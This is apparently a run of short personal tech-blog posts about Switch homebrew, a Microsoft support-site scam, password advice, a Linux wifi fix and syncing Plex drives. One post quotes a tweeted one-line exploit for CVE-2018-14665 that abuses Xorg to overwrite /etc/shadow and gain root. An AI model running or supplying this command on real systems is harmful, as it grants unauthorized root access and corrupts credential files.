Now that I’ve finally started getting homebrew running on my Switch, figured I’d put together a quick ReiNX splashscreen, similar to one of the Luma3DS ones:
I just came across this video (posted yesterday), where scammers are leveraging Microsoft’s legitimate support site at https://support.microsoft.com/help. This was after I received a fake Microsoft support call. Unfortunately, I didn’t have a dummy VM ready to waste their time, but glad I found out about the use of Microsoft’s site. Because Microsoft uses LogMeIn, their support site seems to just forward the code to LogMeIn to start the session.
See the video below for how the site is used:
Hacker Fantastic has another Tweet-able exploit for a system:
#CVE-2018-14665 – a LPE exploit via https://t.co/eax3fvaAjE fits in a tweetTwitter: @HackerFantastic
cd /etc; Xorg -fp “root::16431:0:99999:7:::” -logfile shadow :1;su
Overwrite shadow (or any) file on most Linux, get root privileges. *BSD and any other Xorg desktop also affected.— Hacker Fantastic (@hackerfantastic) October 25, 2018
Two Medium articles that I end up using over & over & want to make sure I save:
Very glad to see another post by a site, giving good information on handling passwords, security question answers, & the recommendation to use password managers. I last had a post about this in July, when Dreamhost also put out a good article about creating strong passwords for account security. The link to that article is below as well.
So far all I’ve done is modify the script to look at my GitHub repository (instead of DanCRichards’) & add a single graphic, just to test it out.
I have picked ap a Galaxy TabPro S a year or two ago, but didn’t end up using it much since it was running Windows. I had always planned to try out Linux on it, but never got around to it until now. I installed Xubuntu, just to have a light OS, & the only issue is related to getting wireless working. It is however a quick fix:
Just need to clear the contents of /lib/firmware/ath10k/QCA6174/hw3.0/*, & then place the two files from the GitHub repo. After a reboot, wireless was working with no additional changes needed.
The Framasoft web site also seems to have some great information on this topic as well.
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I have two external hard drives for my media, one to hold all of my downloads, & the second attached to an Nvidia Shield TV which I use as a Plex server. Since getting Plex setup there, I’ve been looking for a way to keep both drives up-to-date so that I don’t have to manually copy files to each drive when I download. I’ve been trying to get rsync running on the Shield, but then remembered Syncthing. Because of the amount of data, the initial check is going to take a few days, but I’m hoping this will be a good way to keep the drives updated.
I’ll have a follow up post to discuss how I actually got it setup (assuming it works) once the initial check is done.